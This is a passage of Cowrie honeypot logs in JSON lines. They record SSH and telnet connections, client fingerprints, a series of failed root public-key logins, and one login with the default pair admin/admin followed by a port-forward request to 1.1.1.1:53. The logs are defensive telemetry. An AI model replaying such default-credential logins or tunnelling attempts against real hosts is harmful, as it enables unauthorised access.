","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:04.819185Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:15:59:5c:8d:30:e5:79:41:d5:bb:07:a1:53:dd:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDQ8UipLieb69uL5K02zUnonOnpz65CAOoLOB+i0c3wh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ed:15:59:5c:8d:30:e5:79:41:d5:bb:07:a1:53:dd:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.230016Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:15:59:5c:8d:30:e5:79:41:d5:bb:07:a1:53:dd:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDQ8UipLieb69uL5K02zUnonOnpz65CAOoLOB+i0c3wh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.234373Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:00:86:95:48:16:d6:98:b7:83:57:5b:e6:63:91:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeUJiUf3kh886dV3PXkilbFd8OY9FvSo3kavDHz59DezV6Shrt7fp2mMLYkPYAYouyaHA+viN5gBiZ0B7kY2vfdQ+bWNciJQJErAjOOcJd0crJvtuMRPwMu0lvB8qjFlLExF+hs2bUwAlVJBqHVfGrR0PHaCJXCjWB1bJ59ayVGnxUP+PUigKPRHbv8JpV5lqqwM5qb3M2fX+jJJOH9SdbwnlYR4PBi6JpIY1nZgBXRzs1JWxnvn/pkDNvga8tAiJCVbw04jeLaxBBxXJMDijj7IV75fkTwlshtPqbglZZwQ/0qQz7x3uB2Kfo66gPIeT2oKdqX5tevQZfwWqS83HD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:00:86:95:48:16:d6:98:b7:83:57:5b:e6:63:91:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.336292Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:00:86:95:48:16:d6:98:b7:83:57:5b:e6:63:91:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeUJiUf3kh886dV3PXkilbFd8OY9FvSo3kavDHz59DezV6Shrt7fp2mMLYkPYAYouyaHA+viN5gBiZ0B7kY2vfdQ+bWNciJQJErAjOOcJd0crJvtuMRPwMu0lvB8qjFlLExF+hs2bUwAlVJBqHVfGrR0PHaCJXCjWB1bJ59ayVGnxUP+PUigKPRHbv8JpV5lqqwM5qb3M2fX+jJJOH9SdbwnlYR4PBi6JpIY1nZgBXRzs1JWxnvn/pkDNvga8tAiJCVbw04jeLaxBBxXJMDijj7IV75fkTwlshtPqbglZZwQ/0qQz7x3uB2Kfo66gPIeT2oKdqX5tevQZfwWqS83HD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.340672Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:71:78:51:4d:be:79:03:b9:1b:14:bc:9a:8c:c7:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNldowSYjbJSBC7VTx6lFkzTGMOg8wJ2b3qXozo/61XdWHlGT/AmwF342F1QCXqq4/al6SICj/m7L7Icl+7Sn8B/KaJI4BxGd3wHvtjJ7+980ArOmyoSoTJ8F7rhEK/zm2yUh9LXPki94NL31tAIIThXYeXlRUc2p53UIr2gyA6umMCjIiBN31999OxGeVFp+uJ1l4Jgf8nQdDTdRrgH5pmpy0tF6N3QluSOJ7NR/BIA+EMPChRm27PEbh8q9ZT1xkRyqfPcOJjnMXOjFWES+5a3c24cSPtRmhO+easFA7Z7fsPaHb6cY5rhdf2NeXlvG06DLMaoJdZ+Y2lNZJJcGLBcRk8RU8kUXJLXCIUHmCqWZ4KLxq4eRIb3thZq276C/cVwciLrAcCTyMg/na3ynT2Zz9fRpXElbQCASxncXpGJjiXadoaV0qEQaMA98LOPeRcvKAyI4vwgACTwzRcISI4huDR/XJZcw07uipK2jmMaIloYQkhKOqspvdVsBjG40CkZBs3b2f6iZTPdKVeLun+Og2MS9LdEBUs931nP/LRUKSm8H0mz9D8qP/v+H67pGHngOmDsBit8aKFsvQuzubZ4a/KsG+tRunguwRGIlChQfAUJqDLBeii4YAQzS8TuzkVRsbMnsIZ+wTrcHHXymXJ/o8nemzNUP6H1NRSvhYSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:71:78:51:4d:be:79:03:b9:1b:14:bc:9a:8c:c7:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.448101Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:71:78:51:4d:be:79:03:b9:1b:14:bc:9a:8c:c7:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNldowSYjbJSBC7VTx6lFkzTGMOg8wJ2b3qXozo/61XdWHlGT/AmwF342F1QCXqq4/al6SICj/m7L7Icl+7Sn8B/KaJI4BxGd3wHvtjJ7+980ArOmyoSoTJ8F7rhEK/zm2yUh9LXPki94NL31tAIIThXYeXlRUc2p53UIr2gyA6umMCjIiBN31999OxGeVFp+uJ1l4Jgf8nQdDTdRrgH5pmpy0tF6N3QluSOJ7NR/BIA+EMPChRm27PEbh8q9ZT1xkRyqfPcOJjnMXOjFWES+5a3c24cSPtRmhO+easFA7Z7fsPaHb6cY5rhdf2NeXlvG06DLMaoJdZ+Y2lNZJJcGLBcRk8RU8kUXJLXCIUHmCqWZ4KLxq4eRIb3thZq276C/cVwciLrAcCTyMg/na3ynT2Zz9fRpXElbQCASxncXpGJjiXadoaV0qEQaMA98LOPeRcvKAyI4vwgACTwzRcISI4huDR/XJZcw07uipK2jmMaIloYQkhKOqspvdVsBjG40CkZBs3b2f6iZTPdKVeLun+Og2MS9LdEBUs931nP/LRUKSm8H0mz9D8qP/v+H67pGHngOmDsBit8aKFsvQuzubZ4a/KsG+tRunguwRGIlChQfAUJqDLBeii4YAQzS8TuzkVRsbMnsIZ+wTrcHHXymXJ/o8nemzNUP6H1NRSvhYSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.455206Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:cd:19:60:86:91:82:11:50:2c:1a:3f:96:e2:cb:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC67OTC0CCi/hU+Jb61UMfqzOOPCVQFhQzQhKkQc1sVQBrdmUZubkQ7mu0VTjnKH5aJoO1kv4r2GeeX05vFdqUrQ9HheWLIi7YavSWQE6qNlntfPHxojSRuRMo4qRLmWPWrW0qQ8U+b21uDfiBC/ZDKl8Uh8Nu4AMT5cfAQCxgluEUiBZpVNhta9Uu26gjaGXe6InTtnOKebgjjD+2IBaCyAJ/lzson1H+YV2SySWlD0tbqu+xAmWh3GLidorxjkkP67Kdv8Fi6lq/0aZhp3nqjEjFKj6JLRPoe9bEvLGxqj/BZTGq7+Q6HA+5Iwkbi6VPBCX0XGxzCU+gjR62qTgZV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:cd:19:60:86:91:82:11:50:2c:1a:3f:96:e2:cb:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.547487Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:cd:19:60:86:91:82:11:50:2c:1a:3f:96:e2:cb:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC67OTC0CCi/hU+Jb61UMfqzOOPCVQFhQzQhKkQc1sVQBrdmUZubkQ7mu0VTjnKH5aJoO1kv4r2GeeX05vFdqUrQ9HheWLIi7YavSWQE6qNlntfPHxojSRuRMo4qRLmWPWrW0qQ8U+b21uDfiBC/ZDKl8Uh8Nu4AMT5cfAQCxgluEUiBZpVNhta9Uu26gjaGXe6InTtnOKebgjjD+2IBaCyAJ/lzson1H+YV2SySWlD0tbqu+xAmWh3GLidorxjkkP67Kdv8Fi6lq/0aZhp3nqjEjFKj6JLRPoe9bEvLGxqj/BZTGq7+Q6HA+5Iwkbi6VPBCX0XGxzCU+gjR62qTgZV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.554147Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:c9:cb:78:2b:8b:c9:27:5b:9d:88:41:f0:15:a2:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRYuFf+80Hd9+qa71iGVr4X+IHG103MTPH/cjQhDFTEC9pX0z/bGSp5lMynLHUREtTj9Lcdnd3G1EdFcnxVkYKwjjBb7iV/6KJfvIdNQ2R0Mv7N2YJDhIYReJTRLK8Q8BR+ikSbqSgDzhH5ch5j+HIEKCZNslcfYJ234j9vMuWB4jjsCYUW7j2eaXa+nmhXKk4qJQUP2IrsWB+nTZFRklQvPmv7n3/oF76McNOBGoSRJw1jeYPXMjF9AXWGc2UAQRXLjqNJP7tamuXlw3AS1lI14kxL1wAbMevDFyGuQVlVafRGjmACqOEQgMZErQ6P4M9L89X45HEafpDU84q490P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:c9:cb:78:2b:8b:c9:27:5b:9d:88:41:f0:15:a2:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.641207Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:c9:cb:78:2b:8b:c9:27:5b:9d:88:41:f0:15:a2:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRYuFf+80Hd9+qa71iGVr4X+IHG103MTPH/cjQhDFTEC9pX0z/bGSp5lMynLHUREtTj9Lcdnd3G1EdFcnxVkYKwjjBb7iV/6KJfvIdNQ2R0Mv7N2YJDhIYReJTRLK8Q8BR+ikSbqSgDzhH5ch5j+HIEKCZNslcfYJ234j9vMuWB4jjsCYUW7j2eaXa+nmhXKk4qJQUP2IrsWB+nTZFRklQvPmv7n3/oF76McNOBGoSRJw1jeYPXMjF9AXWGc2UAQRXLjqNJP7tamuXlw3AS1lI14kxL1wAbMevDFyGuQVlVafRGjmACqOEQgMZErQ6P4M9L89X45HEafpDU84q490P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.649354Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:05.740596Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00282144546509,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:06.652054Z","src_ip":"31.134.20.206","session":"bcecd605482e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176072120667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:07.565041Z","src_ip":"31.134.20.206","session":"257088ab5b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":53430,"dst_ip":"159.203.135.109","dst_port":23,"session":"6964e7a7dd3d","protocol":"telnet","message":"New connection: 31.134.20.206:53430 (159.203.135.109:23) [session: 6964e7a7dd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:08.740218Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43748,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc5c73ed8f6c","protocol":"ssh","message":"New connection: 87.251.64.176:43748 (10.17.0.5:22) [session: bc5c73ed8f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:20.943893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:20.959064Z","src_ip":"87.251.64.176","session":"bc5c73ed8f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:21.061621Z","src_ip":"87.251.64.176","session":"bc5c73ed8f6c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:21.352520Z","src_ip":"87.251.64.176","session":"bc5c73ed8f6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:21.451537Z","session":"bc5c73ed8f6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:21.551377Z","src_ip":"87.251.64.176","session":"bc5c73ed8f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:21.650972Z","src_ip":"87.251.64.176","session":"bc5c73ed8f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.183","src_port":34038,"dst_ip":"10.17.0.5","dst_port":22,"session":"632a13b2c7be","protocol":"ssh","message":"New connection: 208.87.242.183:34038 (10.17.0.5:22) [session: 632a13b2c7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.140390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.146511Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.215930Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:72:ce:b1:a2:0f:8e:1c:4f:05:53:6d:6c:03:3f:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4p4mKBCF1lvtImzk/dcHoLeHxHggw898eshAgPsopsxJSGeCuyWnP5B8axueIqp590GFNaO57tkYUnZOiPCBVaA9/YSJz6PAlvM+MxTYL2S065zaT7ttxlqPgcV2WHkEROs6SMHPQr369+34+BOJxz6O+nCO4mBsHYb7WF+E3NRaf5MmstAvvdYXmkUgU8baQRtQXbjA1DljZwsdoNKkR7Rw7LojeQvxApJLMEf9SfPIYS2jhfJLqctjxxTcpl9aAkyh02EtZl9CjWiSexa7kOO0fQQpgZqns2CJNVf3ZS+rRk5fPQuirLDtgdwrEgOOLpjmnwuUN3LuFUGQ2MSQR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:72:ce:b1:a2:0f:8e:1c:4f:05:53:6d:6c:03:3f:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.538330Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:72:ce:b1:a2:0f:8e:1c:4f:05:53:6d:6c:03:3f:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4p4mKBCF1lvtImzk/dcHoLeHxHggw898eshAgPsopsxJSGeCuyWnP5B8axueIqp590GFNaO57tkYUnZOiPCBVaA9/YSJz6PAlvM+MxTYL2S065zaT7ttxlqPgcV2WHkEROs6SMHPQr369+34+BOJxz6O+nCO4mBsHYb7WF+E3NRaf5MmstAvvdYXmkUgU8baQRtQXbjA1DljZwsdoNKkR7Rw7LojeQvxApJLMEf9SfPIYS2jhfJLqctjxxTcpl9aAkyh02EtZl9CjWiSexa7kOO0fQQpgZqns2CJNVf3ZS+rRk5fPQuirLDtgdwrEgOOLpjmnwuUN3LuFUGQ2MSQR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.544521Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:7a:e8:2a:5b:be:10:ef:bc:4d:b9:9b:85:9c:e2:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvsSLx5ef0zs4NY1dTXRUWJlQYU6vTHNdBXj0a83+M5XGUiGO3tdgSEIksmVpXhAzXGrYBGBDiUBDLkro9Nj+ftZ88g3qFvZxouAaMkTuY02M7xPhDjczr4ezfUJ0y9R/pKvV2MCuqDX8xtG8JWbBTzTrnretMggnJzMGWkEw0It6JvkTogJ2WpGNZPcJ0+NuSCx9g0stGqCj7Fxy97KQPq9H7Tq0nxhKO8gEMM2+LUbDBe/RTxeL7mfi4NAlVG5US9FalGkdkPslgeCaM2y8/4pfCKci/fHqpgEmoIRUgrBbUTZ1DDxHAdLNGqc4sxUwNqpg8VS97mG+F1cu4j8koQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:7a:e8:2a:5b:be:10:ef:bc:4d:b9:9b:85:9c:e2:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.615778Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:7a:e8:2a:5b:be:10:ef:bc:4d:b9:9b:85:9c:e2:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvsSLx5ef0zs4NY1dTXRUWJlQYU6vTHNdBXj0a83+M5XGUiGO3tdgSEIksmVpXhAzXGrYBGBDiUBDLkro9Nj+ftZ88g3qFvZxouAaMkTuY02M7xPhDjczr4ezfUJ0y9R/pKvV2MCuqDX8xtG8JWbBTzTrnretMggnJzMGWkEw0It6JvkTogJ2WpGNZPcJ0+NuSCx9g0stGqCj7Fxy97KQPq9H7Tq0nxhKO8gEMM2+LUbDBe/RTxeL7mfi4NAlVG5US9FalGkdkPslgeCaM2y8/4pfCKci/fHqpgEmoIRUgrBbUTZ1DDxHAdLNGqc4sxUwNqpg8VS97mG+F1cu4j8koQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.624862Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:6a:6e:04:59:94:b3:8c:b6:f6:f2:69:45:d2:a0:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOzOUZrfI44TRC1xXu9CaVBpLB/l/w8zLVB8QrsILKVqBrVq4K2av3YU2rNl/nwTlFyMgUS0TTEo1V5tGvlQ0Up7HlEfWJzTmAZkHt1xyZil3yVUIH6a7ay3QJwintvLbp3dOwt/xuFh/tmDroshXmFEr2Unjv6r/f+vxeIywMvXNygTNOM/UWU3AsEW5z8iNo1qV5bbioJz+S/g8Vi2moQWdh3haFgx8Nfvgx336ZikJWEe9UJX2uyKuGWWKMQ5UsVhQRJDv7J0LLk5a0wWu3rnYRG/UxR7mxFPS4kQuvQ5/MWpNeHq5zStD3bGwukt8/3qQUEbmIATSBzJ+DurHX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:6a:6e:04:59:94:b3:8c:b6:f6:f2:69:45:d2:a0:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.704472Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
